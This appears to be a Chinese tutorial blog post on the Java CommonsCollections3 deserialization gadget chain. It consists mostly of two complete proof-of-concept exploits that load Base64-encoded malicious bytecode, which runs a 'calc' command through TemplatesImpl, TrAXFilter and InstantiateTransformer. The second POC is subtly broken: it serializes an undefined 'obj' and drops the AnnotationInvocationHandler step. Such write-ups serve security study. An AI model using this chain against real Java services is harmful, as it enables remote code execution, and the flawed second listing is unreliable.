引子
因为CC2链主要考察的是动态加载恶意字节码,而CC3也差不多,所以就选一个跟了,CC3链大体上是CC1和CC2链的结合,所以我我们只跟CC3链了。
在CC1中,我们为了调用方法使用了InvokerTransformer这个类完成回调,但是如果对其进行了限制,我们CC1就不能使用了,根据上文学习的动态加载字节码,TemplatesImpl动态加载字节码来替换掉原来的回调链。
过程
根据上文我们得到链子的过程为
newTransformer() ->getTransletInstance() -> defineTransletClasses()-> defineClass()
相比于CC1链,需要我们修改的部分,也就是执行的部分
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer",null,null)
};
当我们条件足够然后调用
templates.newTransformer();
就可以动态加载恶意字节码了,其他的链的过程是不需要太多改变的。
根据以上所说我们可以向如下构造POC:
//jdk7u80
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.decodeBase64("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMc2VyL2V2YWxDbGFzc1RlbXBsYXRlc0ltcGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAbZXZhbENsYXNzVGVtcGxhdGVzSW1wbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEAGnNlci9ldmFsQ2xhc3NUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAVAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAaAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAAwACQAPAAwADQANAA4AEQAQAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAhBAABACIAAAACACM=");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "test");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(obj),
new InvokerTransformer("newTransformer", null, null),
};
Transformer transformerChain = new ChainedTransformer(transformers);
//包装innerMap,回调TransformedMap.decorate
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发回调
//outerMap.put("test", "xxxx");
//反射调用AnnotationInvocationHandle
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj1 = construct.newInstance(Retention.class, outerMap);
//生成序列化数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj1);
oos.close();
System.out.println(barr);
//反序列化
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
}
这里只是把执行类改写成了TemplatesImpl::newTransformer()。
但在ysoserial的CC3中还是有点不同的,该链中使用了TrAXFilter
,其中的构造方法调用了 (TransformerImpl) templates.newTransformer(),代替了InvokerTransformer调用newTransformer()。
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
我们需要一个实现了Transformer接口的类,去调用TrAXFilter的构造方法。用到了
InstantiateTransformer
。
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
/**
* Transforms the input Class object to a result by instantiation.
*
* @param input the input object to transform
* @return the transformed result
*/
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
里面的值可控,并且实现了该接口。
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
直接可以让con=TrAXFilter.class.getConstructor(templates)。
得到POC
//jdk7u80
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollections3 {
public static void main(String[] args) throws Exception {
byte[] code = Base64.decodeBase64("yv66vgAAADMANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABxMc2VyL2V2YWxDbGFzc1RlbXBsYXRlc0ltcGw7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACkBAApTb3VyY2VGaWxlAQAbZXZhbENsYXNzVGVtcGxhdGVzSW1wbC5qYXZhDAAJAAoHAC4MAC8AMAEABGNhbGMMADEAMgEAE2phdmEvbGFuZy9FeGNlcHRpb24MADMACgEAGnNlci9ldmFsQ2xhc3NUZW1wbGF0ZXNJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAJAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAVAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAaAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAAwACQAPAAwADQANAA4AEQAQAA0AAAAMAAEADQAEAB4AHwAAACAAAAAHAAJMBwAhBAABACIAAAACACM=");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {code});
setFieldValue(templatesImpl, "_name", "test");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } ),
};
Transformer transformerChain = new ChainedTransformer(transformers);
//包装innerMap,回调TransformedMap.decorate
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
//触发回调
//outerMap.put("test", "xxxx");
//反射调用AnnotationInvocationHandle
setFieldValue(transformerChain, "iTransformers", transformers);
//生成序列化数据
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
System.out.println(barr);
//反序列化
ByteArrayInputStream in = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(in);
ois.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
具体分析一下就是重点在
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
将TrAXFilter.class
传给ConstantTransformer,那么就会返回TrAXFilter
类,然后传给InstantiateTransformer,在InstantiateTransformer类中就会实例化TrAXFilter
类,然而调用它的构造方法,进而调用newTransformer()
方法,从而实现命令执行 。然后就是要找到调用ChainedTransformer.transform()
的地方,才能对transformers 数组进行回调 ,然后就是CC1的部分了。
注意
POC中似乎有一段可以去掉
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
根据我们上篇文章,该代码作用是_tfactory.getExternalExtensionsMap()调用TransformerFactoryImpl的getExternalExtensionsMap,因此_tfactory我们要注意赋值,并且是TransformerFactoryImpl的实例。而在本文中TemplatesImpl的readObject()中对其进行了初始化防止其为空值报错,所以就不需要我们设置了。